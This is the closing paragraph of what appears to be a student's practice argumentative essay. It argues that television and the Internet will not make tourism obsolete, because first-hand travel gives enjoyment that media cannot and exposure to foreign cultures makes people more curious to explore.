To sum up, I agree with the speaker to certain extent that television and computer connection make it possible for people to sit at home and travel around the world. But by going too far to claim that tourism will become obsolete is against the empirical observation in our daily life as well as fact that the first-hand experience arouses psychological enjoyment. In addition, by familiar ourselves with foreign culture through Internet and television programs diminish our sense of insecurity and cultural gap brought out by total blindness and ignorance about another nation and thus shed light on our curiosity as well as the willingness to explore.
